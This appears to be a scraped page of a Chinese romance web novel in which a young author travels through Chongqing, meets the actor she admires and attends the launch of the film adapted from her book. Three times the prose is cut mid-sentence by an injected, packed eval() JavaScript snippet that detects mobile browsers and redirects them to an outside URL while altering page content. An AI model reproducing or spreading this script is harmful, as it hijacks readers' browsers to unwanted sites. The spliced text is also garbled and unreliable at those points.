闻朝窝在靠窗的小沙发上,盖着一条松软的毯子,正盯着窗外不远处的那座大厦发呆。少年已经走出山城,去外面见到更广阔的世界,而她仿佛被某种感情和回忆,被暂时困在了这片与他息息相关的山城里。 她突然想起自己前几天做的攻略,第一个标记的地点就是宝轮寺,听说许愿很灵的。心动不如行动,闻朝当即从行李箱掏出围巾和帽子,将自己裹得严严实实的,就出了门。 这是一座藏在磁器口景区内的千年古刹,在纷扬的雪花映衬之下,这座寺庙更显得庄严与肃穆,时光在这里沉淀。 虽然说神明之说或许虚妄,但是对于闻朝这样心有挂念的人而言,那一缕香火,一刻虔诚才足以慰藉自己的内心。 “我点高香敬神明,抵我心中意难平。” 不记得在哪里看过这样一句话,但是当闻朝再次想起时,却觉得只不过是世人再简单不过的世俗所求罢了,却又是万千祈语中最悸动的两句。 虽说是冬时,但寺庙的游客并不少。 “一起走过爱情天梯,我们就永远不会分开的。”一个女孩兴奋的声音传来。 闻朝循声望去,只见一对情侣正手牵手,一步步踏上天梯,女孩眼中洋溢着幸福的微光。 原来还有这样的寓意。闻朝默然。可惜她没有同行的人,这“爱情天梯”与她而言并没有太大的吸引力。 除非是和沈淮时一起走。当然,这近乎痴想。她摇了摇头,挥散脑海中不切实际的画面。 走过天梯,入目便是三足金蟾许愿池。池边围了不少投币许愿的游客,大多念念有词,祈求财运亨通。 见状闻朝的眼睛都亮了,毕竟谁能拒绝“早日发财”的愿望呢? “叮咚……”只听得一阵清脆而又短暂的碰撞声,硬币稳稳地落在金蟾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276085|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上而后滑入水中, 于是闻朝闭上眼,双手合十,无比认真地低声祈愿:“信女闻朝,愿今年能够通过合法方式挣到八位数,若愿望实现,定携厚礼回来还愿!” 她按照自己在网上做的攻略,在心里默默如实地将自己的身份证家庭住址等信息如数家珍地上报给金蟾,防止金蟾把这财运给错了人。 投币许愿后,闻朝跟随着人流漫无目的地走着。一排排摊位上整齐地摆满了花花绿绿的手串,吸引了她的注意。 “姑娘你看看,这些手串都是开过光的,很灵验的。”见闻朝的目光在那些手串上停留了许久,摊主也来了兴趣,一件一件地介绍着,“这是天然寿山石,寓意健康长寿的。这个是天然星月菩提子,被视为能够带来平安顺遂的。” “还有这个十八籽,寓意祛除所有烦恼,保平安健康的,也能招财。”摊主说完停顿了一下,笑眯眯地问,“姑娘,你是单身吗?!” 虽然有些不解,但是闻朝还是很诚实地点了点头。 见她点头,摊主脸上的笑容更灿烂了,卖力地推荐,“姑娘你看这串粉水晶,它寓意爱情美满,戴着还能招桃花呢,要不要来一串?!” “姑娘你要是感兴趣的话还能去老君洞去求姻缘呢,咱们宝轮寺老君洞求姻缘很灵的。” 闻朝摇头谢绝了摊主的关于桃花的好意,挑选了四副十八籽手串,问价:“老板,四副......” 她的目光落在那那些手串上,忽然想到了什么,又挑选了一副,“老板,五副十八籽多少钱啊?” “一副四十八,五副二百四,姑娘,你给二百就行,”摊主手一指,示意扫这里付款后麻利地开始打包,“看你不像是我们重庆人,给你点优惠,玩得开心啊。” “好,谢谢老板,也祝老板生意兴隆。”闻朝付了钱,接过手串又问:“老板,这里哪个地方求平安最灵验啊?” —— “大雄宝殿。” 寺庙明黄的墙在雪景中格外醒目,远处钟声清扬, 大雄宝殿,香火鼎盛,烟雾缭绕。 主殿供奉着释迦牟尼,弥勒端坐于金台莲座之上,祂悲悯垂视着台下每一位虔诚拜佛的信徒,祂见众生皆是法相。 东西两侧的金刚怒目,菩萨低眉,肃穆庄严。 佛像前烟雾袅袅,跪拜祈福的人络绎不绝,人们双眸紧闭,双手合十,口中念念有词,低声细碎地道出自己的所求,而后虔诚叩首。 闻朝走进大殿,点燃佛香,望着眼前悲悯的神佛,跪在蒲团上,双手合十,低声诉说自己心中所愿:“我佛慈悲,信女今日前来朝拜,祈愿所爱之人沈淮时,顺遂无虞,皆得所愿。信女愿广结善缘,以报佛恩。” 言罢,她俯身,虔诚参拜, 一叩首, 二叩首, 三叩首, 礼毕。 她将香插入香炉,青烟袅袅升起。她此生,除了家人挚友,最大的所求也不过是沈淮时平安顺遂、喜乐无忧。 在香火的烟雾缭绕之中,她看不清神佛,神佛也看不清她。闻朝向来不信神佛,却在点燃香火的那一刻时变得虔诚,甚至……有些贪心。 她抬首,看向悲悯的弥勒,默默在心里说着: “沈淮时,我在寺庙偷偷为你祈了福许了愿。世人都不知道,你也不知道,只有我和神佛知道。我许你顺遂无虞,皆得所愿。” 转身离开的那一刻,闻朝心头蓦地一颤。那些压抑在心底的思念和执着,似乎被香火引燃,在这一刻如同走马观花似的悉数涌入脑海。 她没留念片刻,就出了宝轮寺。 他们之间,似乎永远只能如此。哪怕是神佛的庇佑,也跨不过偶像与粉丝之间那条无形的界限。 哪怕是求了神明,拜了诸佛,不能相爱的,始终不能相爱。 冬夜的重庆,交通意外地顺畅。 酒店是在嘉陵江附近,这条江和南滨路,共同构建了她无法复刻的独一无二的青春。因为沈淮时是重庆人,在重庆长大,在重庆出道,也在重庆闪闪发光,所以她只身一人来到这座他长大的城市。 走他走过的南滨路,看他看过的嘉陵江,感受同一场覆盖山城的大雪。在这一刻,闻朝才觉得自己对重庆多年的执念在这一刻终于得到了化解。 寒风顺着羽绒服敞开的口子钻了进去,激起一阵战栗。 “真冷啊。”闻朝缩了缩脑袋,声音在寂静的冬风中略有些颤抖。耳侧还能清晰地听到风穿行街巷的呜咽,昏黄的灯光穿透了每一朵飘下来的雪花,将光影切割的戏碎。 她就这样,一步一步地走进了弥漫着市井烟火的街角。 即便天寒地冻,朴素的人们还在辛苦地劳作着,一个冒着滚滚热气的小吃摊吸引了她的注意,馄饨的香气勾起了她的食欲。 “老板,来碗馄饨。”她跺了跺脚,让靴子上沾到的雪抖落在地,挑了一个最角落的位置坐下。 “要得!”老板很快就端来一碗热腾腾的馄饨,她拿起勺子,安静地小口吃着,放在桌子上的手机屏幕忽然亮起,闻朝停下吹凉馄饨的动作,滑开了屏幕。 是宋枝发来的消息,配着一个搞怪的“比心”表情包: 【感谢朝朝去重庆还能记得我,比心】 闻朝嘴角不自觉弯了弯,手指在键盘上敲打着:【那当然,我怎么可能会忘了你们。】 五副手串,三副是给自家三个闺蜜的,刚买下这手串的时候,就拍了下来,把照片发给她们。 还有两副,一副是自己留着的,另一副...... 想到那个如月如雪般风光霁月的人,她的动作猛地一顿,片刻后又自嘲地摇了摇头。 算了,随缘吧。 7. 他出现的那一刻,她的冬天便枯木逢春 吃完馄饨,闻朝抬手招了一辆黄色的出租车,打开后车门跨坐进去,对司机说道:“师傅,去八中。” 师傅透过后视镜见她冷得缩了缩脖子,体贴地将车内温度调高了些,随口问道:“怎么元旦就要去学校啊?你们学校不休息吗?” 闻朝愣了一下,随即反应过来,有些不好意思地笑了笑,“我不是八中的学生,只是想去看看八中。” “噢噢。”司机见她目光一直投向窗外,似乎不太想多谈,便也不再追问,安静地开起了车。 车子驶入夜色,窗外的街景飞速向后退去,出租车在山城的道路上灵活穿梭,速度颇快。闻朝下意识地抓紧了座位旁的扶手,心里默默感叹:重庆的出租车,果然名不虚传。 新的一年对她而言,最大的不同或许就是真正踏上了这片沈淮时从小生长的土地。这座山城,几乎贯穿了她整个懵懂又炽热的青春岁月。 关于重庆,关于沈淮时,她总想多说些什么,多做些什么,多留下些什么,仿佛这样就能弥补那些未曾参与的时光所留下的空白。 可当真正站在这片向往已久的土地上,她却忽然失语。要说的话,想做的事,期待看到的风景,一时间都变得模糊不清。甚至,连自己此刻心里究竟在想什么,她都说不明白。 只觉得那颗长久以来空落落的心,在这一刻被某种温热的、充盈的东西悄然填满。她什么也不愿多想,只想沉浸在这片与他息息相关的空气里。 总有许多女孩为了他来到这座城市,也总有人说,沈淮时早已离开,这样的奔赴毫无意义。然而,就在舆论发酵时,沈淮时在社交平台发了一张与八中的合照,配文只有简短的四个字: “我一直在”。 这种如春水般温柔而坚定的回应,对闻朝而言,是致命又令人憧憬的。 粉丝们常说,夏天的重庆是最好的文案,有少年炙热的青春,也有少女真诚的爱恋。可她却觉得,冬天的重庆,别有一番沉静深邃的风情。 出租车在学校附近停下。闻朝付了钱,推门下车。湿冷的夜风立刻从衣摆钻入,让她忍不住打了个寒颤,下意识拢紧了羽绒服。 雪还在细细密密地下着,伴着寒风,将世界晕染得一片朦胧。她的视线越过飘飞的雪花,落在校门口那块醒目的牌匾上——“重庆市第八中学校”。 昏黄的路灯光线洒在上面,那几个字仿佛带着温度,静静伫立,无声地告诉每一个为它而来的女孩:它就在这里,从未离开。 她没有进去,也知道自己进不去。只是在校园周边的街道上慢慢走着,耳畔是风吹过光秃枝桠的沙沙声,眼前是泛黄路灯穿透雪幕的光晕。 独自站在那里片刻后,她轻轻挪动了脚步。 这里是他曾经生活、学习过的地方,对她有着近乎致命的吸引力。可她并非活在幻想中的人,并不奢求能在这里与他相遇。 她想,就这样远远地看着,也很好。可以安静地想象那个她未曾亲眼见过的、少年时期的沈淮时。 不知不觉间,她走到一棵高大的黄桷树下。这让她想起那个流传已久的故事,故事里的女孩说,重庆到处都是黄桷树。 这话其实没错。重庆真的随处可见黄桷树,尤其是在八中附近。 冬天的黄桷树早已褪去夏日的繁茂,枝干光秃秃地伸向天空。但在白雪的覆盖和路灯的渲染下,那些枝干呈现出一种让人心醉的、带着朦胧感的昏黄色调。 她终于来到了八中,也来到了故事发生的黄桷树下,那个关于黄桷树的故事,酸涩得像未成熟的青果,最终在无人角落悄悄腐烂,却令人久久难忘。 她站在树下,目光却长久地流连于不远处的校园轮廓。雪还在下,寒意透骨,她却舍不得离开。或许会有人说她傻,或许会笑她神经质,但她只想在这里,沿着他可能走过的路,慢慢地走。 就像……隔着漫长的时光,与那个青涩的沈淮时,共享一段上下学的路。 “对不起。” 她低头想着心事,没注意前方,不小心撞上了一个路人。闻朝连忙低头道歉,道歉的话语却在抬头看清对方的瞬间,戛然而止。 心脏,却早早在看清他之前,就已经猛烈地跳动起来,几乎要撞出胸腔。 是沈淮时。 相遇的街头,心跳比眼睛更先认出了你。 他戴着黑色的口罩,闻朝看不清他完整的表情,只能透过细碎刘海下那双熟悉的、总是带着温柔弧度的桃花眼来辨认。那双眼此刻看起来有些疲惫,却依然难掩其下深藏的温柔底色。 认出沈淮时的一瞬间,闻朝只觉得大脑一片空白。所有预先设想过的、万一偶遇该说的话,此刻全部堵在喉咙里。她只是怔怔地看着他,像个突然失语的孩子。 “闻朝老师?” 对方略带疑惑的声音响起,同时抬手在她眼前轻轻晃了晃,终于让她从巨大的震惊中回过神来。 “沈……沈淮时?!”她的声音因紧张而有些变调,甚至带了点莫名的磕巴。 听到她慌乱之下有些滑稽的称呼,沈淮时眉眼弯了起来,口罩下的脸似乎在笑。他微微倾身,语气里带着一丝不易察觉的调侃,“我不是‘沈沈淮时’,我是沈淮时。” 听到自家偶像这带着笑意的打趣,闻朝的脸“腾”地一下红了。她连忙摆手解释道:“对不起对不起,我太紧张了……” 解释的同时,她的目光却不由自主地、贪婪地流连在他的眉眼之间。他的眼眸,像冬日里贪恋暖阳的橘猫,又像重庆这场寂静无声的落雪。 此刻发生的一切,都让她心跳失衡。 这就是沈淮时,却又似乎不完全是她在大荧幕上认识的那个沈淮时。她看了许久,竟舍不得挪开视线。 这个距离太近了。近到她能看清他睫毛投下的细小阴影,近到她似乎能闻到他身上若有似无的清新气味。 等等……气味?闻朝下意识地,轻轻吸了一口气,淡淡的、清冽又好闻的味道钻入鼻腔。他……真的好香啊。 果然,粉丝们说得没错,沈淮时就是香香软软的小猫! 这个念头闪过,她才猛然惊觉自己刚才做了什么,她竟然当着沈淮时的面,做了个类似“嗅闻”的动作! 沈淮时此刻看她的眼神,似乎带着一点探究,一点惊讶,或许……还有一点点看“奇怪的人”的意味? 天呐!他会不会觉得自己是个举止奇怪的神经病? 闻朝瞬间僵住了,方才还带笑的唇角凝固在脸上。内心一阵哀嚎,她拼命想要维持的、还算得体的初次见面形象啊,就这么毁于一旦了!她不知所措地站在原地,在沈淮时的注视下,像个在家长面前犯错被抓包的小孩,手脚都不知道该往哪里放。 沈淮时静静地看了她大约十秒钟,在凛冽的冬风里,忽然低低地笑出了声。那笑声很轻,却带着真实的愉悦。她的样子,和他参加活动时遇到的许多粉丝一样,紧张、慌乱,又带着纯粹的欢喜,都是很可爱很有趣的女孩子。 “走吧。”他率先转身,语气自然。 “去……去哪?”闻朝还有些发懵,抬起眼,困惑地看向他的背影。 他侧过身,夜风吹动他额前的碎发,那双好看的眼睛在路灯下显得格外明亮。“去八中看看。你们不是一直说,想看看我真实生活过的地方吗?” 他的声音顺着风飘过来,清晰地落入她耳中。 闻朝怔了怔,随即低声应道:“……嗯。” 她快步走上前,与他并肩,却又小心翼翼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276086|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地保持着一段礼貌的社交距离。 原来……他一直都知道。原来,重庆的“重”,真的可以是“重逢”的重。 原本冷得让她有些难耐的冬夜,似乎从他出现的那一刻起,就开始悄然回温。 她的冬天,在这一刻,仿佛枯木逢春。 借着沈淮时的“光”,闻朝终于踏入了八中的校园。这座学府,是校外无数女孩青春记忆里闪闪发光的地标。若是让其他“蟹钳草”知道,她竟然跟着沈淮时本人一起走进了这里,不知要引来多少羡慕的目光。 她安静地走在校园的林荫道上,脚下是松软的积雪,踩上去发出“咯吱咯吱”的轻响。前方不远处,沈淮时正低声打着电话,侧影在雪光和灯影里显得有些朦胧。 看着他的背影,闻朝心里忽然生出一种奇异的感觉。 一种……她的青春与他的青春,在此刻悄然重叠的错觉。 仿佛走在她前面的,不是那个光芒万丈的大明星沈淮时,而只是一个名叫沈淮时的高中同学;仿佛她也不是隔着人山人海仰望他的小粉丝,而是隔着几张课桌,可以悄悄回头看一眼的后桌。 闻朝写《骤雪止》原著小说的时候,也是冬天。 记忆里,河南高中生的冬天,除了写不完的试卷和做不完的习题,似乎就只剩下窗外悠然飘落的雪,以及不知哪个同学课间偷偷堆起的小雪人。 但在这里,在重庆,在沈淮时的校园里,她好像看到了一个不一样的冬天。一个……能让她想象出多年前,那个少年在此间蓬勃生长、鲜活生动的冬天。 她跟着沈淮时来到教学楼,绕过廊柱,走上回廊。虽然说是“一起逛逛校园”,但实际上,这一路两人并没有太多交谈。 沈淮时并不像荧幕前那般健谈。现实中的他显得更为安静,话语不多,周身仿佛笼罩着一层看不见也摸不着、礼貌却疏离的结界。 而闻朝本身也有些社恐,无数话语在心头翻滚,却始终找不到合适的时机开口。目光只敢偷偷地、迅速地掠过他的侧脸,又总在他若有所觉回望的瞬间,仓皇收回。 见你的时候,有千言万语想说,有万语千言忘了说,更有许多许多话,永远不能说出口。 两人就这样一前一后,安静地在雪夜的校园里走着。 “这就是我的学校,”沈淮时在一处栏杆前停下脚步,将手肘随意地搭在上面,望着楼下的景色,声音平淡,“其实和你们读过的学校,没什么太大不同。” 楼下的视野里,是几棵落尽叶子、被白雪覆顶的黄桷树。 “不一样的。”闻朝也走到栏杆边,轻声说道。 沈淮时有些意外地转过头看她,“有什么不一样?” 闻朝与他之间,只隔了约莫一个拳头的距离。她转过身,面向他,眉眼在灯光下弯成温柔的弧度,笑着,清晰而认真地说:“因为这里有你。” 因为这里有你。 短短六个字,却让沈淮时怔住了。他沉默了片刻,微微低下头,声音透过口罩传来,显得有些闷,“我知道。谢谢……谢谢你们的喜欢。” 谢谢……你们。 闻朝偷偷看他的侧影,心脏却因这句话,猛地、沉沉地坠落了一下。 原来,即使我独自站在这里,向你诉说这份独一无二的悸动与思念,在你听来,也只会归为“你们”的范畴。 原来我再怎么喜欢你,于你而言,我也只是万千星光中模糊的一粒,永远无法成为那个能与你并肩而立、分享目光的人。 她忍不住扯了扯嘴角,一抹淡淡的苦涩在无人看见的角落悄然蔓延,最终化作一个低垂的、自嘲般的浅笑。 雪,还在静静地下着,覆盖着校园,也覆盖着某些刚刚升起、又迅速冷却的奢望。 8. 青云开序,万事顺遂 在剧组工作人员全部抵达重庆,所有前期准备悉数就绪后,二零二五年一月五日,《骤雪止》开机仪式如期举行。 地点选在剧组统一入住的酒店宴会厅。这日恰逢小寒,窗外雪花依旧簌簌飘落,但厅内暖气充足,只穿一件薄外套便足够暖和。 闻朝穿了件雾蓝色的短款针织毛衣,搭配高腰修身牛仔裤。微卷的长发柔顺地披在肩上,衬得整个人温婉而知性。她安静地站在宴会厅一角,与周遭略显喧闹的氛围保持着微妙的距离。 “今天请了几家媒体?”闻朝环视四周,看到不少扛着摄像机、手持话筒的记者,侧身轻声问站在身旁的化妆师桑华。 两人自打入住酒店成为邻居后,迅速熟络起来。不是凑在一起打牌追剧,就是分享娱乐圈的各类八卦,很快便成了能约饭逛街的好友。 “好像五六家吧,”桑华顺着她的目光看了看,“导演说没必要大张旗鼓,就是个开机仪式。” “五六家有些少了。”闻朝压低声音。粗略望去,记者加上摄像,已有将近二十人。 桑华点头表示赞同,“以沈淮时的咖位来说,这些人其实算少的。” “的确。”闻朝轻声附和。 她忽然想起许多年前沈淮时参加艺考时的场景。那几乎是一场震动媒体界的“盛事”,据说各家媒体领导曾放话,只要能拍到沈淮时的清晰正脸,年终奖便有保障。 于是那年考场外,长枪短炮,万人空巷,只为了捕捉那个少年踏入考场的一瞬。 人群忽然传来一阵细微的骚动,打断了闻朝的思绪。她循声望去,只见沈淮时正从正门步入大厅。 他穿了一件质感挺括的靛蓝色衬衫,下摆利落地束进黑色西裤,勾勒出挺拔修长的身形与劲窄的腰线。简单的装扮,却因他出众的气质显得格外清爽矜贵。 “我靠!他这一身也太帅了吧!”桑华忍不住捂着嘴,压低声音激动地感慨,“他粉丝吃得可真好啊!” 闻朝没有接话,只在心里默默点头。 “您好,闻朝老师,方便简单做个采访吗?”一个声音在身旁响起。 闻朝向来不喜热闹,特意选了角落的位置,没想到还是有记者找了过来。她抬头,目光落在对方胸前的工作牌上——水果台。 水果台的记者在圈内口碑一向不错,提问得体,分寸感强,许多艺人都乐于接受他们的采访。 闻朝略一思索,点了点头。既然决定踏入这个行业,这类场合总是要适应的。 “闻朝老师您好,我是水果台记者。很荣幸能采访您。听说《骤雪止》是您创作出版的第一部长篇小说。对于第一本书影视化就能邀请到沈淮时老师这样的演员出演,想必您非常满意。除了满意之外,您还有其他什么感受吗?”记者开门见山。 闻朝看向镜头,语气平和而认真,“第一本书就能有幸邀请到沈淮时老师出演,除了满意,更多的是感到荣幸。同时,这对我而言也是一个不小的挑战。我会尽最大努力做好剧本改编工作,不辜负原著读者的期待,也不辜负沈淮时老师的信任与付出。” 记者点头,继续问道:“也就是说,您同时也担任本片的编剧,对吗?” 闻朝微笑着颔首确认。 “大家对《骤雪止》的影视化期待值很高。我们注意到,书中的男主角顾嘉言,在许多特质上与沈淮时老师有相似之处。想请问闻朝老师,顾嘉言这个角色的诞生,是否在一定程度上参考了沈淮时老师呢?”记者的问题显然经过了斟酌,眼神里带着探究。这不仅是她的好奇,恐怕也是许多读者和观众心中的疑问:沈淮时,会是顾嘉言的原型吗? 闻朝听到这个问题,微微一怔。她沉吟片刻,唇边绽开一个得体的微笑,“我觉得,优秀的人总会有些相似的闪光点。顾嘉言和沈淮时老师之间某些特质的重合,与其说是刻意参考,我更愿意将它看作一种奇妙的缘分。是这种缘分,让我笔下诞生了顾嘉言;也是这种缘分,让沈淮时老师来演绎这个角色。比起‘原型’,我更相信这是命运安排下美好的巧合。” 她的回答委婉而含蓄,既未完全否认,也未明确承认,将话题巧妙地引向了更积极的“缘分”与“契合”。半真半假,往往是应对这类敏感问题最稳妥的方式。尽管顾嘉言的灵魂里确实藏着沈淮时的影子,但此刻,多一事不如少一事。 记者会意地笑了笑,显然对这个答案感到满意,“好的,感谢闻朝老师的分享。预祝《骤雪止》拍摄顺利,票房大卖!” “谢谢。” 在娱乐记者普遍追求爆点的环境下,水果台记者这种把握分寸、尊重受访者的态度,确实堪称一股清流。 “闻老师,要拍大合照了。”李言书小跑过来招呼她。 揭幕仪式后的合照环节,闻朝站在副导演身旁,对着镜头露出浅浅的微笑。拍照很快结束,接下来的媒体群访才是重头戏。 作为新人编剧,抛给闻朝的问题不多,两三个常规问题后,采访的重点便迅速转向了男女主角。 沈淮时无疑是绝对的焦点。即便他本人一贯低调,但巨大的流量与关注度,让所有镜头如同被磁石吸引般锁定在他身上。 “沈淮时老师您好,关于接演这部影片,观众可能有些疑惑。与您以往接拍的作品相比,《骤雪止》似乎并非传统意义上的大制作,故事也更偏重细腻情感而非宏大叙事。请问您为什么会选择这样一个相对‘平淡’的本子呢?” 提问的记者面生,问题却带着几分尖锐的对比意味。话音落下,宴会厅内出现了一瞬的安静。众人的目光齐刷刷投向沈淮时,等待着他的回应。 导演陈序站在一旁,脸上带着似笑非笑的表情瞥了那记者一眼,心中了然。这多半是对家派来搅局、试图制造话题的。不过他并不担心,只是招手唤来助理,低声嘱咐了几句。 沈淮时十四岁踏入娱乐圈,在这个名利场摸爬滚打了十一年。没有显赫背景,没有资本力捧,全凭一腔热忱与不懈努力,一步步站稳脚跟。什么场面、什么刁难没见过? 他唇角微扬,下颌线却因专注而略显紧绷,整个人的气场在那一刻显得有些冷峻严肃。然而下一秒,那抹笑意便真切地漫入眼底,他从容开口,< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276087|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“谢谢您的提问。或许在有些人看来,这个故事不够‘轰轰烈烈’。但人生百态,本就有激流勇进,也有静水缓流。一个故事的价值,并不完全由它的‘规模’决定,而在于它能否触动人心,能否让观众在其中看到自己或他人的影子。作为演员,我的荣幸恰恰在于能够体验不同的人生,诠释各异的灵魂。能够走进顾嘉言的世界,体会他的悲喜,对我来说,本身就是一件很有意义、也很有吸引力的事情。” 他的回答不卑不亢,既肯定了作品本身的情感内核,又展现了一名演员的职业素养与追求,滴水不漏。 陈序在一旁听着,眼中满是赞赏。 主持人见状,立刻巧妙接话,引导其他记者提问,这段小小的插曲很快被淹没在后续的采访中。 主演的群访环节结束后,沈淮时等人走下台,留下导演和制片人继续应对媒体。 闻朝坐在台下,拿出手机刷了刷微博。关于《骤雪止》开机的讨论已经颇为热闹: 【说实话挺期待的,原著文笔细腻又温柔,后劲很大,超级催泪。】 【+1,第一次看的时候哭湿了半包纸巾,至今不敢重温。】 【虽然没看过书,但沈淮时演的,我必须支持!】 【期待淮时的新角色!感觉顾嘉言会是一个很不一样的存在。】 …… 网络上的整体风向颇为积极。 “编剧老师,预祝我们合作愉快,电影大卖!” 饰演女主角的唐诗端着一杯香槟,笑盈盈地走了过来。暖调的灯光洒在她身上,更添几分温柔气质。 闻朝与这位女主演并不算熟络,但同在剧组,日后少不了接触。她从旁边的桌上端起一杯橙汁,与对方轻轻碰杯,“谢谢,也祝我们的电影拍摄顺利,票房大卖!” 玻璃杯相触,发出清脆悦耳的声响。 唐诗浅抿一口香槟,目光落在闻朝的橙汁上,忍不住笑着提议:“你可以尝尝这个香槟,度数很低,口感不错的。” 闻朝的目光从自己的杯子移到对方带笑的脸上,有些不好意思地解释:“谢谢,但我……不太会喝酒。” 看她略显稚嫩的脸庞和那份青涩,唐诗恍然,笑着拍了拍自己的额头,“瞧我这记性,忘了你才二十岁,还在读大学呢。” “聊什么呢?让我也听听。”沈淮时不知何时也走了过来,手里同样端着一杯橙汁,眼神里带着些许好奇。 “正说呢,咱们小编剧年纪小不喝酒很正常,你怎么也端着橙汁呀?”唐诗与沈淮时有过合作,关系还算熟稔,说话也随意些。 他酒精过敏。闻朝在心里默默回答。作为跟随他九年的粉丝,她对他的习惯了如指掌,包括他不喜应酬、酒精过敏这一点。只是这话,她自然不会说出口。 沈淮时唇角微扬,自然地解释道:“我酒精过敏,喝不了。来,碰个杯,庆祝开机。” “开机大吉!” “合作愉快!” 三只玻璃杯轻轻相碰,清脆的声音再次响起,仿佛为这个雪中的开端,敲下了一个轻快而明亮的音符。 9. 我在重庆很想你 翌日,上午十点,闻朝被陈序的电话连环轰炸吵醒。 她无奈地揉了揉惺忪睡眼,含糊应了几声,匆匆洗漱后便赶往酒店为剧组预留的会议室。 几位主创都已到场,正三三两两地低声交谈。室内人不少,但闻朝一踏进去,目光便不由自主地锁定了安静坐在窗边的沈淮时。 他微微低着头,右手灵活地转着一支笔,左手则紧紧攥着翻开的剧本,神情专注。不时提笔在页边写下些什么,沉浸在自己的世界里。 陈序看见闻朝,指了指沈淮时旁边空着的位置,略带歉意道:“实在不好意思,临时通知。你先坐,人齐了我们马上开始。” 原本并未安排会议,但计划赶不上变化,这场会来得有些猝不及防。 闻朝身体微僵地走向那个空位,在沈淮时身旁坐下。她偷偷瞥了他一眼,他仍在看剧本。 认真的男人,果然有种特别的魅力。 会议主要讨论后续拍摄的具体安排,包括场次顺序、时间把控等。这些问题大多无需她这个编剧兼原作者过多操心,她一时也没想明白陈序特意叫自己过来的原因。 听着听着,她的视线又不自觉地飘向身侧的人。 或许是因为目光过于专注,沈淮时忽然有些不自在地侧过头,正对上她来不及收回的视线。他犹豫了一下,压低声音问:“我……脸上有东西?” 闻朝被问得一愣,当真又仔细看了看他的脸,认真摇头,“没有啊。” “哦,”沈淮时点了点头,眼里掠过一丝促狭的笑意,“你看我的眼神,让我有点……发毛。” 闻朝:“……” 好吧,被抓包了。 她尴尬地摸了摸后颈,等沈淮时重新转向陈序听讲时,才故作不经意地继续偷偷打量。 安静的眉眼,清晰的下颌线,微抿的唇偶尔无声翕动,似在默念台词。眼前明明是二十五岁的他,眼前却恍惚叠映出多年前那个青涩稚嫩的少年模样。 她忽然想起粉丝圈里流传的一句话:“你爱上他时他是几岁,他在你心里就永远是几岁。” 此刻,她才真切体会到这句话的含义。 他怎么……就二十五岁了呢? 正兀自出神,肩膀忽然被人轻轻戳了一下。闻朝猛地回神,转头见是桑华。 对方凑近她,用气声调侃道:“还看呢?等正式开拍,你有的是机会光明正大地看。” “说什么呢……”闻朝嗔怪地低语,脸颊却不受控制地泛起薄红。她抿了抿唇,嘴角却诚实地微微上扬。 那时的她并不知道,正是这份始于少女时代的纯粹爱慕,将在往后漫长的岁月里,赋予她既勇敢又怯懦地继续爱下去的力量。 桑华但笑不语,眼神里的调侃意味更浓了。 “唉,想到接下来就要天天吃盒饭了。”沈淮时忽然故作夸张地叹了口气,眼角余光还悄悄瞥向陈序。他性格里偶尔会冒出这种中二气息,此刻正带头“抗议”,嚷嚷着要导演改善伙食。 “没关系,我们可以点外卖。”女主角唐诗笑着接话,随即想起剧组规定,立刻调转枪口,“对啊导演,你不让点外卖,那伙食可得跟上!大家吃不好,怎么演得好嘛!” 其他几位主演也跟着起哄,拍着手有节奏地喊起来:“改善伙食!改善伙食!改善伙食!” 沈淮时见状,索性放下剧本,也跟着一起鼓掌,笑得眉眼弯弯,像个得逞的孩子,“就是!改善伙食!我们要吃大餐!” 会议室的气氛瞬间活跃起来。陈序被他们闹得没脾气,笑眯眯地连连应承:“好好好,肯定亏待不了大家!” “导演威武!”众人一阵哄笑欢呼。 闻朝坐在沈淮时旁边,看着他与旁人玩闹的样子。她清楚地感觉到,自己眼中的他,此刻笑得格外真实灿烂。 心底忽然涌起一丝庆幸。庆幸自己能见到他私下里更鲜活的一面,而不只是隔着屏幕那个总是带着些许清冷距离感的偶像。眼前这个带着人间烟火气的他,让她恍然意识到,原来他也只是一个会笑会闹的普通大男孩。 —— 第二日,重庆,嘉陵江畔。 天色微阴,细碎的雪花无声飘洒,但气温并不算太低。剧组早早抵达,工作人员已提前清场,江边显得空旷而安静。 陈序坐在监视器后,眉头微蹙地审视着取景框里的画面。片刻后,他拿起对讲机,催促各部门准备拍摄。 剧本中在嘉陵江的戏份不算多,顺利的话,白天就能拍完大部分,只留一场夜景。 闻朝从李言书手中接过今日的拍摄通告,快速浏览了一遍,便递还回去。导演的安排合理,她并无异议。她出现在现场的主要任务,是确保表演不偏离角色的内核,尽管她对参演演员的功底颇有信心。 李言书见她一副全然放心的模样,忍不住提醒:“你要不要再仔细看看?我怕导演的理解和你的初衷有些出入。” 